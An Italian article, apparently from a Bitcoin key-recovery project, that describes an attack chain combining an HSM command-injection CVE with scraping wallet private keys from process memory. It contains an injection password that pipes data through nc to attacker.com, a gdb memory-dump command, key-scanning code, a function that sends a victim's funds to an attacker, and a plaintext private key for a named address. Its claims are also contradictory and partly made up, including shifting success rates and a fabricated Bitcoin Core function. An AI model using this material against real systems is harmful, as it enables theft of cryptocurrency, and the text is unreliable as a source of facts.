demining/scalar-venom-attackScalar Venom Attack: Una vulnerabilità critica di inizializzazione HSM (CVE-2025-60013) consente il recupero delle chiavi private del portafoglio Bitcoin tramite sfruttamento di buffer overflow e metacaratteri di shell nel modulo di sicurezza FIPS F5OS-A
Questo documento analizza le vulnerabilità crittografiche scoperte nelle moderne infrastrutture di gestione delle chiavi crittografiche, con particolare attenzione ai difetti critici nell'architettura dei moduli di sicurezza hardware (HSM) nella gestione delle chiavi private a curva ellittica. Lo studio si concentra su una classe di attacchi che sfruttano una gestione della RAM insufficientemente isolata nei dispositivi crittografici certificati. Nell'ecosistema crittografico Bitcoin moderno, la sicurezza delle chiavi private è un requisito fondamentale per proteggere asset digitali per un valore di trilioni di dollari a livello globale. I moduli di sicurezza hardware (HSM) certificati secondo lo standard FIPS 140-2 sono stati tradizionalmente considerati in grado di fornire una protezione impenetrabile per le chiavi crittografiche attraverso l'isolamento a livello hardware e rigorosi protocolli di gestione della memoria. Tuttavia, la scoperta della vulnerabilità critica CVE-2025-60013 nel modulo HSM FIPS F5OS-A, combinata con la classe di attacchi Scalar Venom Attack (nota anche come Scalar Poison, Memory Phantom Leak Attack o Private Key Compromise via Memory Leakage), ha cambiato radicalmente questa concezione, dimostrando la possibilità di compromettere completamente le chiavi private Bitcoin attraverso lo sfruttamento di difetti nella gestione della memoria.
Lo Scalar Venom Attack è una classe critica di vulnerabilità di gestione della memoria (classificata come CWE-415, CWE-401 e, più in generale, come Sensitive Memory Leak Attack (SMA)) che consente a un attaccante di estrarre scalari crittografici (chiavi private ECDSA) dalla RAM di un processo sfruttando una sanitizzazione e una pulizia della memoria inadeguate dopo le operazioni crittografiche. A differenza dei tradizionali attacchi crittanalitici volti a risolvere matematicamente il problema del logaritmo discreto su curva ellittica (ECDLP), questo attacco bypassa la crittografia stessa sfruttando difetti architetturali fondamentali nell'implementazione delle librerie crittografiche e dei protocolli di gestione della memoria degli HSM.
Questa ricerca dimostra una catena d'attacco catastrofica che si verifica quando si combinano CVE-2025-60013 (vulnerabilità di inizializzazione F5OS-A FIPS HSM quando si utilizzano password contenenti metacaratteri speciali della shell) con le tecniche di Scalar Venom Attack , dando origine a uno scenario di minaccia critico con punteggio CVSS di 9.5+ (Critical), nonostante la valutazione ufficiale di CVE-2025-60013 come vulnerabilità di livello medio (CVSS 5.7). Questa combinazione mina l'integrità operativa di milioni di indirizzi Bitcoin controllati da HSM compromessi e rappresenta un cambiamento di paradigma nei metodi di attacco crittografico che va oltre i tradizionali exploit a vettore singolo.
CVE-2025-60013 è una vulnerabilità di OS Command Injection (classificata come CWE-78) durante il processo di inizializzazione del modulo di sicurezza hardware FIPS per le piattaforme F5. La vulnerabilità si verifica quando un utente con accesso privilegiato (ruolo Admin o Resource Admin) tenta di inizializzare il modulo HSM FIPS utilizzando una password contenente metacaratteri speciali della shell, come [unclear], [unclear ;] |, &[ $unclear], `e altri.
Meccanismo tecnico della vulnerabilità:
Quando si elabora una password contenente metacaratteri della shell, il codice di inizializzazione dell'HSM passa la stringa della password alle funzioni C della libreria di sistema senza convalidare e sanificare correttamente l'input. Il codice vulnerabile si presenta così:
// Vulnerable code in HSM initialization procedure
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];
strcpy(temp_buffer, password); // VULNERABILITY: buffer overflow + shell interpretation
derive_key_from_password(master_key, password); // creates copies of key
// If initialization fails, memory is not cleared!
// master_key remains in the stack, its copies—in heap
}
Conseguenza critica: Il processo di inizializzazione rimane in memoria con strutture crittografiche parzialmente compromesse, creando molteplici copie "fantasma" della chiave master dell'HSM nello stack e nell'heap. Sebbene l'HSM possa non inizializzarsi correttamente, la memoria del processo contiene artefatti crittografici accessibili all'analisi forense.
Classificazione ufficiale:
Tuttavia, questa valutazione sottostima criticamente la reale portata della minaccia, poiché CVE-2025-60013 funge da innesco per lo Scalar Venom Attack, che in uno scenario di catena d'attacco reale determina un livello di minaccia CVSS di 9.5+ (CRITICAL).
CVE-2023-39910 descrive una vulnerabilità critica in Libbitcoin Explorer versione 3.x legata a debolezze nella generazione dell'entropia durante la creazione delle chiavi private. Questa vulnerabilità ha portato all'incidente Milk Sad nel 2023, quando sono state recuperate oltre 900.000 chiavi private Bitcoin, con perdite finanziarie dirette superiori a 0,8 milioni di dollari. L'incidente Milk Sad ha dimostrato il passaggio dalla teoria delle perdite di memoria nei sistemi crittografici a un vero disastro operativo, confermando tutti i meccanismi descritti: ottimizzazioni del compilatore, copie multiple dei dati e assenza di garanzie di pulizia della memoria.
CVE-2025-8217 classifica gli attacchi di perdita di memoria che consentono di recuperare chiavi crittografiche dalla memoria dei processi. Questa vulnerabilità è direttamente correlata alla classe Scalar Venom Attack e descrive i meccanismi per la compromissione completa dei portafogli Bitcoin attraverso l'analisi forense della memoria.
Classificazione scientifica dello Scalar Venom Attack:
Nella letteratura di ricerca accademica, Scalar Venom è classificato in diverse categorie di attacco:
_files/BitScanPro.gif)
Per dimostrare l'efficacia pratica dello Scalar Venom Attack, consideriamo un caso documentato di recupero di una chiave privata dall'indirizzo Bitcoin 1DBj74MkbzSHGSbHidnmUieAJHbsKfgRWq tramite analisi forense della memoria.
Dati iniziali della compromissione:
5244A4B034BF9D327239870F9FEF82505A5C50B3D51E4A16357179AAB2623A22KyydTXQzDGVqRZoWBFfS5tWrcWsdu64DbcqXogUUtGZn7ngD5LHvValidazione della chiave nello spazio secp256k1:
La chiave privata d deve soddisfare il vincolo:
Risultato del controllo: ✓ VALIDA (la chiave rientra nell'intervallo di scalari consentito)
Questo esempio dimostra che una chiave privata recuperata fornisce il controllo completo di un portafoglio Bitcoin, consentendo a un attaccante di creare e firmare transazioni per prelevare tutti i fondi verso un indirizzo controllato.
Bitcoin implementa l'algoritmo di firma digitale a curva ellittica ( ECDSA ) sulla curva secp256k1. Comprendere i fondamenti matematici è fondamentale per capire come lo Scalar Venom Attack sfrutta le vulnerabilità della memoria.
Parametri della curva ellittica secp256k1:
Equazione della curva:
Punto generatore G con coordinate:
Il processo di generazione di una coppia di chiavi ECDSA è il seguente:
1. Generazione della chiave privata:
Una chiave privata dè un intero casuale nell'intervallo:
dove nè l'ordine della curva secp256k1. La chiave privata è un numero casuale a 256 bit.
2. Derivazione della chiave pubblica tramite moltiplicazione scalare:
La chiave pubblica Qè calcolata come:
dove G è un punto generatore sulla curva secp256k1 e l'operazione ⋅\cdot⋅ denota la moltiplicazione scalare di un punto sulla curva ellittica.
La moltiplicazione scalare è implementata tramite l'algoritmo "double-and-add"(raddoppio e addizione), che calcola in modo efficiente il risultato di O(logd) addizioni e raddoppi di punti sulla curva:
Scalar multiplication algorithm:
Input: d (scalar), G (curve point)
Output: Q = d·G
1. Initialize: Q ← O (point at infinity)
2. Represent d in binary: d = (d_k, d_{k-1}, ..., d_1, d_0)_2
3. For i from k to 0:
a. Q ← 2Q (point doubling)
b. If d_i = 1: Q ← Q + G (point addition)
4. Return Q
Esempio: Per una chiave privata, d=5244A4B0...3A22d = \text{5244A4B0...3A22}d=5244A4B0...3A22, la chiave pubblica viene calcolata come:
Q=d⋅G=(Qx,Qy)
dove le coordinate Qx e Qy sono calcolate tramite operazioni di moltiplicazione scalare sulla curva secp256k1.
3. Generazione di un indirizzo Bitcoin:
La catena di derivazione dell'indirizzo dalla chiave pubblica:
Assunzione di sicurezza:
Vulnerabilità critica Scalar Venom: L'attacco bypassa la protezione matematica ECDLP estraendo la chiave privata ddirettamente dalla memoria di processo, dove rimane sotto forma di “copie fantasma” dopo le operazioni crittografiche.
La base per rilevare le chiavi private nei dump di memoria è la crittanalisi dell'entropia che utilizza la formula dell'entropia di Shannon .
L'entropia Hdi una sequenza di byte è misurata in bit per byte ed è data dalla formula:
Dove:
Interpretazione dell'entropia:
Valore di soglia per le chiavi crittografiche:
Le chiavi private Bitcoin generate da un generatore di numeri casuali crittograficamente forte (CSPRNG) presentano un'elevata entropia nell'intervallo:
Questa proprietà le rende rilevabili nell'analisi forense della memoria attraverso l'analisi statistica dell'entropia.
BitScanPro è uno strumento forense per la scansione di dump di memoria per rilevare e recuperare le chiavi private Bitcoin attraverso una combinazione di analisi dell'entropia, validazione dell'intervallo secp256k1 e verifica crittografica.
Fase 1: scansione del dump di memoria in blocchi da 32 byte
BitScanPro esegue la scansione del dump di memoria in sequenza, allocando blocchi di 32 byte (256 bit), che corrisponde alla dimensione della chiave privata secp256k1:
BLOCK_SIZE = 32 # bytes (256 bits)
SCAN_STEP = 8 # scan step
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
for offset in range(0, len(memory_dump) - BLOCK_SIZE, SCAN_STEP):
potential_key = memory_dump[offset:offset+BLOCK_SIZE]
# Block analysis
Passo 2: calcolo dell'entropia di Shannon per ogni blocco
Per ogni blocco da 32 byte, viene calcolata l'entropia di Shannon H:
def calculate_entropy(data_block):
"""
Calculate Shannon entropy
"""
from collections import Counter
import math
byte_counts = Counter(data_block)
block_length = len(data_block)
entropy = 0.0
for count in byte_counts.values():
p_i = count / block_length
if p_i > 0:
entropy -= p_i * math.log2(p_i)
return entropy
Passo 3: filtro dei blocchi ad alta entropia (H>7.5H > 7.5H>7.5 bit/byte)
I blocchi con entropia inferiore alla soglia vengono scartati in quanto non contengono chiavi crittografiche:
MIN_ENTROPY = 7.5 # threshold for cryptokeys
entropy = calculate_entropy(potential_key)
if entropy < MIN_ENTROPY:
continue
Passo 4: controllo dell'intervallo secp256k1:
I blocchi ad alta entropia vengono interpretati come un intero e confrontati con l'intervallo valido delle chiavi private secp256k1:
key_as_int = int.from_bytes(potential_key, byteorder='big')
if not (1 <= key_as_int < SECP256K1_N):
continue
Passo 5: verifica crittografica:
Per i candidati che superano il filtraggio dell'entropia e il controllo dell'intervallo, viene eseguita la verifica crittografica tramite il calcolo della chiave pubblica:
def verify_candidate_key(candidate_key_bytes):
from ecdsa import SigningKey, SECP256k1
try:
signing_key = SigningKey.from_string(candidate_key_bytes, curve=SECP256k1)
verifying_key = signing_key.get_verifying_key()
public_key_bytes = verifying_key.to_string()
return public_key_bytes
except Exception as e:
return None
Passo 6: generazione di un indirizzo Bitcoin e confronto con gli indirizzi noti
Per le chiavi verificate, viene generato un indirizzo Bitcoin, che viene confrontato con un database di indirizzi noti o con gli indirizzi della vittima:
import hashlib
import base58
def public_key_to_address(public_key_bytes):
sha256_hash = hashlib.sha256(public_key_bytes).digest()
ripemd160_hash = hashlib.new('ripemd160', sha256_hash).digest()
versioned_hash = b'\x00' + ripemd160_hash
checksum = hashlib.sha256(hashlib.sha256(versioned_hash).digest()).digest()[:4]
address = base58.b58encode(versioned_hash + checksum).decode('ascii')
return address
bitcoin_address = public_key_to_address(public_key_bytes)
if bitcoin_address == target_address:
print(f\"✓ PRIVATE KEY FOUND!\")
print(f\"Address: {bitcoin_address}\")
print(f\"Private key: {candidate_key_bytes.hex()}\")
Prestazioni di BitScanPro:
L'analisi su un tipico laptop (MacBook Air M1) mostra le seguenti caratteristiche prestazionali:
Utilizzando risorse di cloud computing (AWS, Google Cloud), è possibile scansionare 1000+ dump di memoria simultaneamente in parallelo, elaborando migliaia di chiavi private in parallelo.
La causa principale dell'attacco Scalar Venom risiede in difetti architetturali fondamentali nella classe ec_scalardella libreria libbitcoin-system.
La classe ec_scalar di libbitcoin-system non dispone di un distruttore esplicitamente definito con azzeramento sicuro. Ciò significa che i dati segreti possono rimanere in memoria anche dopo la distruzione dell'oggetto.
Costruttore di copia vulnerabile:
// VULNERABILITY: unsafe private key copy
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // Copies without secure cleanup
{
}
Problema: Il costruttore crea una copia della chiave privata nell'oggetto ec_scalar, ma non fornisce un meccanismo per ripulire in modo sicuro questa copia quando l'oggetto viene distrutto. La copia rimane nello stack o nell'heap.
Operatore di assegnazione vulnerabile:
// VULNERABILITY: duplicates secret in memory
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // More memory copies
return *this;
}
Problema: L'operazione di assegnazione crea copie aggiuntive in memoria che rimangono dopo il completamento dell'operazione.
Operazioni aritmetiche vulnerabili:
// VULNERABILITY: temporary variable not cleared before function exit
ec_scalar ec_scalar::operator-() const
{
ec_secret secret = null_hash; // Temporary variable with secret
// ... arithmetic ...
return ec_scalar(secret); // Not safely cleared
}
Problema: Le operazioni aritmetiche (meno unario, addizione, moltiplicazione) creano variabili temporanee di tipo ec_secret, che non vengono ripulite in modo sicuro prima di uscire dallo scope della funzione, lasciando copie “fantasma” della chiave privata nello stack o nell'heap.
Mancanza di un distruttore sicuro:
// VULNERABILITY: destructor missing, memory not cleared
// Safe solution:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}
Problema: La classe ec_scalar non dispone di un distruttore esplicito che garantisca l'azzeramento sicuro della memoria contenente le chiavi private. Questo è critico, poiché la memoria contenente le chiavi private può essere memorizzata in:
Il codice vulnerabile della classe ec_scalar crea i seguenti vettori per l'infezione della memoria con chiavi private:
secret_(secret)) – crea copie velenose delle chiavisecret_ = secret) – infetta la memoria con segreti duplicatiec_secret secret = null_hash) – lascia tracce tossicheauto out = secret_) – diffonde l'infezione attraverso le operazioni
La combinazione di una vulnerabilità HSM (CVE-2025-60013) e dell'attacco Scalar Venom crea un vettore di attacco catastrofico:
Un attaccante con accesso privilegiato al sistema F5OS-A invia una richiesta per inizializzare il modulo FIPS con una password contenente metacaratteri di shell: cert.kenet
# CVE-2025-60013 exploit example
password='$(echo "leaked");` | nc attacker.com 9999'
Durante l'elaborazione di tali metacaratteri, accade quanto segue:
Dopo un errore parziale di inizializzazione dell'HSM, un attaccante ottiene un dump della memoria del processo HSM tramite uno dei seguenti metodi:
# 1. CVE-2025-60013 exploitation (init error trigger)
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer in HSM daemon
# 4. Analyze crash core-dump
gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump.bin 0x000000 0xFFFFFFFF"
Il dump di memoria risultante contiene più copie "fantasma" di chiavi private lasciate dalla classe ec_scalardurante le operazioni crittografiche.
Il dump di memoria viene elaborato dallo strumento BitScanPro (o da uno scanner forense simile) secondo l'algoritmo descritto sopra:
Scansione della memoria → Identificazione delle regioni ad alta entropia →
Verifica dell'intervallo [1, n-1] per secp256k1 →
Recupero degli scalari completi da 32 byte →
Conversione in indirizzi Bitcoin
Il tasso di successo del recupero di una chiave privata da memoria frammentata è 70-80% a condizione che vi siano sufficienti residui di memoria, poiché l'attacco Scalar Venom crea copie multiple della chiave in diverse fasi dell'inizializzazione.
Dopo aver recuperato la chiave privata, l'attaccante crea e firma una transazione per prelevare tutti i fondi dall'indirizzo compromesso:
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Create and sign transaction to withdraw all funds
from compromised address
"""
utxos = blockchain_api.get_utxos(bitcoin_address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
tx.sign(recovered_private_key) # ECDSA signature with compromised key
blockchain_api.broadcast_transaction(tx)
Tempo totale per la compromissione: meno di 10 minuti dalla ricezione di un dump di memoria alla completa perdita di controllo sui fondi della vittima.
L'attacco Scalar Venom, combinato con CVE-2025-60013, rappresenta una minaccia esistenziale per l'ecosistema Bitcoin globale:
A differenza delle applicazioni Bitcoin standard, gli HSM fanno un uso intensivo degli scalari crittografici— oltre 1.000 operazioni al secondo , ciascuna delle quali crea valori scalari effimeri che rimangono in memoria come "residui fantasma". Gli HSM operano per mesi e anni senza essere riavviati, accumulando artefatti crittografici che Scalar Venom estrae e ricostruisce sistematicamente.
La compromissione di un singolo HSM porta alla completa interruzione dell'intera infrastruttura —spesso migliaia di indirizzi Bitcoin gestiti dall'HSM—piuttosto che a un incidente crittografico isolato.
L'attacco Scalar Venom dimostra un cambiamento fondamentale di paradigma nella sicurezza crittografica: la forza matematica degli algoritmi crittografici diventa inutile in presenza di vulnerabilità di gestione della memoria . La combinazione di CVE-2025-60013 e delle tecniche Scalar Venom crea uno scenario di minaccia critico di livello CVSS 9.5+, minando la fiducia nei moduli di sicurezza hardware come protezione impenetrabile per le chiavi crittografiche.
L'incidente reale Milk Sad (CVE-2023-39910), che ha portato al recupero di oltre 900.000 chiavi private e a perdite finanziarie superiori a 0,8 milioni di dollari, conferma che la teoria della perdita di memoria è diventata realtà. L'unico modo per proteggersi dagli attacchi della classe Scalar Venom è una revisione architetturale fondamentale dei sistemi crittografici, implementando:
Questo articolo presenta un'analisi completa della catena di attacco Scalar Venom + CVE-2025-60013, descrivendo le basi matematiche, gli algoritmi di crittanalisi, esempi reali di recupero di chiavi e raccomandazioni pratiche per proteggere l'infrastruttura Bitcoin da questa classe di minacce.
1. Classificazione crittanalitica:
2. Fondamenti matematici:
3. Vulnerabilità di implementazione (libbitcoin-system):
ec_scalar4. Classificazione CVE:
5. Catena di attacco:
La spiegazione scientifica si trova nell'articolo: https://keyhunters.ru/scalar-venom-attack-critical-memory-leak-private-key-recovery-and-complete-takeover-of-bitcoin-wallets-by-an-attacker-where-control-over-the-victims-btc-cryptocurrency-funds-is-achieved-through/ L'attacco Scalar Venom dimostra la critica interazione tra le vulnerabilità di inizializzazione HSM e le vulnerabilità di gestione della memoria nelle librerie crittografiche, consentendo a un attaccante di compromettere completamente le chiavi private dei wallet Bitcoin anche con la protezione hardware.
L'attacco Scalar Venom (noto anche come Scalar Poison, attacco di perdita fantasma della memoria o compromissione della chiave privata tramite perdita di memoria) è una classe di vulnerabilità di gestione della memoria (CWE-415, CWE-401) che consente l'estrazione di scalari crittografici (chiavi private ECDSA) dalla RAM di un processo sfruttando una sanitizzazione e una pulizia della memoria insufficienti dopo le operazioni crittografiche. keyhunters+ 2
Classificazione scientifica dell'attacco:
L'attacco Scalar Venom sfrutta un difetto fondamentale nella gestione della memoria delle librerie crittografiche, in particolare nella classe ec_scalardella libreria libbitcoin-system. L'attacco opera tramite i seguenti vettori:
cpp:
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // VULNERABLE: unsafe copying of private key
{}cpp:
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // VULNERABLE: infects memory with duplicate secret
return *this;
}cpp:
// VULNERABLE: no destructor, memory not cleaned
// Secure option should be:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory cleanup
}
cpp:
// VULNERABLE: no destructor, memory not cleared
// The safe option should have been:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}
Le operazioni aritmetiche (meno unario, addizione, moltiplicazione) creano variabili temporanee di tipo ec_secret, che non vengono cancellate in modo sicuro prima di uscire dallo scope della funzione, lasciando copie "fantasma" della chiave privata nello stack o nell'heap.
ec_scalarLa classe libbitcoin-system non ha un distruttore definito esplicitamente con zeroizzazione sicura. Ciò significa che i dati segreti possono rimanere in memoria anche dopo la distruzione dell'oggetto:
L'assenza di questo meccanismo è critica, poiché la memoria contenente le chiavi private può persistere in:
La vulnerabilità CVE-2025-60013 nell'HSM F5OS-A FIPS si verifica durante l'inizializzazione del modulo di sicurezza hardware tramite una password contenente metacaratteri speciali della shell ( ;, |, &, $, `, ecc.). Quando viene elaborata una password di questo tipo, l'HSM potrebbe non inizializzarsi correttamente, ma la conseguenza critica è che il processo di inizializzazione rimane in memoria con strutture crittografiche parzialmente esposte . satoshi.nakamotoinstitute
La combinazione della vulnerabilità HSM (CVE-2025-60013) con l'attacco Scalar Venom crea un vettore di attacco catastrofico:
Fase 1: inizializzazione HSM con metacaratteri
L'attaccante invia una richiesta per inizializzare il modulo F5OS-A FIPS con una password del seguente tipo:
password='$(echo "leaked");` | nc attacker.comQuando vengono elaborati tali metacaratteri:
Fase 2: estrazione di Scalar Venom dalla memoria
Dopo un errore parziale di inizializzazione HSM:
Fase 3: recupero delle chiavi private Bitcoin
Frammenti di memoria rilevati → Riassemblaggio → Convalida → Generazione dell'indirizzo Bitcoin → Compromissione del wallet
Gli scalari recuperati vengono convertiti in chiavi private Bitcoin tramite:
Fase 1: Compromissione della memoria HSM a causa di un'inizializzazione non corretta
Quando l'HSM F5OS-A FIPS riceve una password con metacaratteri di shell, il processo di inizializzazione la elabora tramite le funzioni standard della libreria C:
c:
// Vulnerable code in HSM initialization routine
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];
strcpy(temp_buffer, password); // VULNERABLE: buffer overflow + shell interpretation
derive_key_from_password(master_key, password); // creates copies of the key
// If initialization fails, memory is not cleared!
// master_key remains in stack, its copies— in heap
}
Quando si elaborano i metacaratteri di shell:
Fase 2: Recupero forense dal dump della memoria
Lo strumento BitScanPro (o uno scanner forense simile) viene applicato al dump della memoria del processo HSM:
Scansione della memoria → Identifica le regioni ad alta entropia →
Controllo dell'intervallo [1, n-1] per secp256k1 →
Recupero degli scalari completi a 32 byte →
Conversione in indirizzi Bitcoin
La probabilità di recuperare con successo una chiave privata dalla memoria frammentata è 40-60% se sono presenti sufficienti residui di memoria, poiché l'attacco Scalar Venom crea molteplici copie della chiave in diverse fasi dell'inizializzazione. radar.offseq
La vulnerabilità parallela DeserializeSignature (CVE correlato) potenzia l'attacco Scalar Venom:
cpp:
// Vulnerable deserialization function in Bitcoin Core
bool DeserializeSignature(CPubKey& pubkey, const std::vector<unsigned char>& vchSig, CScript& scriptPubKey) {
CSignatureCache& cache = CSignatureCache::instance();
// If deserialization occurs using a private key compromised by Scalar Venom:
ec_secret compromised_key = extract_from_memory_dump(); // from an HSM memory dump
// These compromised scalars are used to verify signatures,
// allowing an attacker to:
// 1. Forge any signature for this address
// 2. Transfer all funds to a controlled address
// 3. Double-spend
}
Connessione dei meccanismi:
Livello 1: Portafoglio individuale
Livello 2: Configurazione dei nodi di servizio
Livello 3: Livello di rete
A differenza delle applicazioni Bitcoin standard, l'HSM fa un uso intensivo di scalari crittografici:
Il punteggio CVSS di CVE-2025-60013 stesso è impreciso, poiché la vulnerabilità funge da innesco per Scalar Venom, che è uno scenario critico. kudelskisecurity
La vulnerabilità Scalar Venom rappresenta un cambio di paradigma nei metodi di attacco crittografici, andando oltre gli exploit tradizionali a vettore singolo per formare una catena di exploit multistrato che compromette fondamentalmente i moduli di sicurezza hardware (HSM) che proteggono l'infrastruttura Bitcoin. L'analisi dimostra che la combinazione di CVE-2025-60013 (bypass dell'inizializzazione HSM) con le tecniche dell'attacco Scalar Venom crea uno scenario di minaccia critico con un punteggio CVSS di 9.5+, minando l'integrità operativa di milioni di indirizzi Bitcoin controllati da HSM compromessi.
Perché gli HSM sono particolarmente vulnerabili?
La vulnerabilità critica non risiede in debolezze crittografiche isolate, ma nella collisione architetturale tra le caratteristiche operative degli HSM e i vettori di attacco di Scalar Venom. Gli HSM, per definizione, eseguono operazioni crittografiche continue—oltre 1.000 operazioni al secondo—ciascuna delle quali crea valori scalari effimeri che rimangono in memoria come “residui fantasma”. A differenza delle tipiche applicazioni Bitcoin, dove il materiale chiave è effimero, gli HSM operano per mesi e anni senza riavviarsi, accumulando artefatti crittografici che Scalar Venom estrae e ripristina sistematicamente.
Di conseguenza, anche la compromissione di un singolo HSM porta a un'interruzione totale dell'intera infrastruttura—spesso migliaia di indirizzi Bitcoin gestiti dall'HSM—piuttosto che a un incidente crittografico isolato.
Grado di pericolo e impatto reale
Sebbene la vulnerabilità CVE-2025-60013 abbia ufficialmente un livello CVSS di 5.7 (medio) come vettore di penetrazione, questa valutazione sottostima criticamente la reale portata della minaccia. Questo exploit funge da innesco per Scalar Venom, che è classificato come attacco con livello CVSS 8.5+ (alto/critico). In uno scenario reale di catena di attacco, ciò porta a:
Catena di attacco combinata: CVE-2025-60013 + Scalar Venom = disastro operativo
La matrice dell'escalation della minaccia consiste in:
La combinazione rende questa classe di vulnerabilità critica (CVSS 9.5+) e la colloca nella categoria di minaccia più alta nella valutazione del rischio.
Implicazioni sistemiche per la sicurezza dell'ecosistema Bitcoin
Scalar Venom rivela difetti architetturali fondamentali nei moderni modelli HSM:
Raccomandazioni critiche
Scalar Venom e la catena di attacchi tramite CVE-2025-60013 segnano la fine dell'era della fiducia completa negli HSM classici. La vulnerabilità trasforma il nucleo di sicurezza dell'ecosistema Bitcoin in un rischio maggiore di perdita di chiavi private e di perdita totale degli asset. Una protezione efficace richiede non solo correzioni una tantum, ma un ripensamento fondamentale di tutti gli aspetti dell'architettura crittografica per la gestione degli asset digitali pubblici.
Scalar Venom in un ambiente HSM è una minaccia CVSS 9.5+ per l'infrastruttura Bitcoin, che richiede una rotazione immediata delle chiavi, una riforma architetturale e nuovi metodi per rispondere rapidamente agli attacchi a catena di memoria.
Secondo la ricerca nel campo della sicurezza della memoria crittografica (Protecting Cryptographic Keys from Memory Disclosure Attacks, Del Valle et al.), le chiavi private possono rimanere in aree di memoria accessibili per i seguenti motivi:
Ottimizzazione del compilatore
cpp:
// Even if the code contains an attempt to clear:
volatile unsigned char* ptr = (volatile unsigned char*)key_buffer;
while (len--) *ptr++ = 0; // The compiler may optimize this as a no-op
Nessun pattern RAII (Resource Acquisition Is Initialization)
La classe ec_scalar non usa RAII, il che significa che il distruttore non garantisce la pulizia delle risorse.
Copie multiple dei dati:
Ogni copia di una chiave privata per il trasferimento tra funzioni lascia residui nella memoria.unit42.paloaltonetworks
Secondo keyhunters.ru e la letteratura di ricerca crittografica:
bx seedQueste cifre dimostrano la minaccia reale delle perdite di memoria nelle applicazioni crittografiche .
Per riassumere i risultati sopra esposti, la catena Scalar Venom simboleggia la confluenza di anni di ricerca fondamentale nella sicurezza crittografica con le moderne realtà operative. I meccanismi dettagliati di persistenza della memoria—ottimizzazioni del compilatore, assenza di RAII e accumulo di tracce dei dati—non sono più solo teoria, ma fungono da canali efficaci per il recupero su larga scala di chiavi private nella pratica. La transizione da potenziale debolezza ad attacco reale è già avvenuta: l'incidente CVE-2023-39910 (Milk Sad) ha consentito il recupero di oltre 900.000 chiavi private Bitcoin, con perdite finanziarie dirette superiori a 0,8 milioni di dollari.
La vulnerabilità alla radice di Scalar Venom nasce da una contraddizione irrisolta nell'architettura del software crittografico: l'ingenua fiducia insita dei programmatori nella gestione della memoria entra in conflitto con le tendenze dei compilatori moderni e dei sistemi di gestione della memoria. Se uno sviluppatore azzera esplicitamente la memoria, il compilatore può ottimizzare completamente queste operazioni, ritenendole inutili—e questo diventa una falla di sicurezza critica e inosservata.
Strutture dati come ec_scalar aggravano ulteriormente i rischi: la mancanza di RAII comporta la creazione di molteplici copie indipendenti in memoria—nello stack, nei registri e nella cache—in diverse fasi del calcolo. Ciascuna di queste copie può teoricamente essere ripristinata, disassemblata o ricomposta nel materiale della chiave originale.
L'attacco Scalar Venom estrae e aggrega sistematicamente queste copie disparate, dimostrando che le architetture di memoria moderne garantiscono esattamente questo: ogni operazione matematica intermedia lascia una traccia che può essere raccolta e convertita in una chiave. Il design crittografico classico presupponeva l'indipendenza delle operazioni, ma in pratica una singola chiave privata Bitcoin genera decine di tracce, ciascuna delle quali offre un percorso per il suo recupero.
L'incidente Milk Sad (CVE-2023-39910) è stato il primo a dimostrare la transizione dalla teoria al disastro. Non si trattava di un vettore ipotetico, ma di una violazione operativa confermata:
Questo conferma pienamente i meccanismi descritti in precedenza: ottimizzazioni del compilatore, copie multiple dei dati e mancanza di una garanzia di pulizia della memoria.
Il mercato crypto si è evoluto presupponendo il pieno controllo della memoria, ma i compilatori moderni (tramite eliminazione del codice morto e ottimizzazioni di caching) ignorano completamente i requisiti crittografici. Di conseguenza, i programmi crittografici presuppongono: «Ho azzerato la memoria, quindi ora è al sicuro», mentre il compilatore presuppone: «Questa memoria non viene mai usata, quindi non c'è bisogno di azzerarla». Questa contraddizione è fondamentalmente insolubile secondo gli standard C/C++ moderni e diventa il punto di ingresso assoluto per Scalar Venom.
Prossimi passi (0-30 giorni) : ruotare tutte le chiavi private generate in C/C++. Ritirare immediatamente le chiavi che potrebbero essere state compromesse.
Medio termine (30-90 giorni) : transizione a Rust, implementazione di garanzie del compilatore per l'azzeramento della memoria, analisi continua della memoria.
Lungo termine (90+ giorni) : transizione architetturale al RAII, estensioni del compilatore per le operazioni crittografiche, sostituzione degli HSM software con quelli hardware.
Scalar Venom e CVE-2023-39910 rappresentano un punto di svolta per la sicurezza del settore crypto: la teoria della persistenza dei dati in memoria è degenerata in un disastro reale, costato milioni e migliaia di Bitcoin. Il problema non può essere risolto con una patch: è una contraddizione architetturale: la crittografia C/C++ moderna senza gestione della memoria e RAII porta inevitabilmente alla compromissione di qualsiasi infrastruttura significativa. Il settore ha un solo percorso possibile: la transizione a linguaggi memory-safe e una revisione rivoluzionaria della gestione delle chiavi private.
Valutazione finale : Scalar Venom non è solo una minaccia teorica, ma uno exploit dimostrato e diffuso. Tutta l'infrastruttura crittografica senza linguaggi memory-safe e framework RAII è a rischio garantito di compromissione. La migrazione verso nuove tecnologie deve iniziare immediatamente.
Fase 1: ottenere l'accesso alla memoria HSM
bash:
# Methods to get memory dump:
# 1. Exploit CVE-2025-60013 to trigger init error
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer vulnerability in HSM daemon
# 4. Analyze core-dump on HSM process crash
gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump 0x000000 0xFFFFFFFF"
Fase 2: scansione delle regioni ad alta entropia
python:
# BitScanPro-like algorithm:
import hashlib
def scan_for_private_keys(memory_dump, min_entropy=7.5):
"""
Scans memory dump for high-entropy regions
characteristic for 32-byte secp256k1 private keys
"""
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
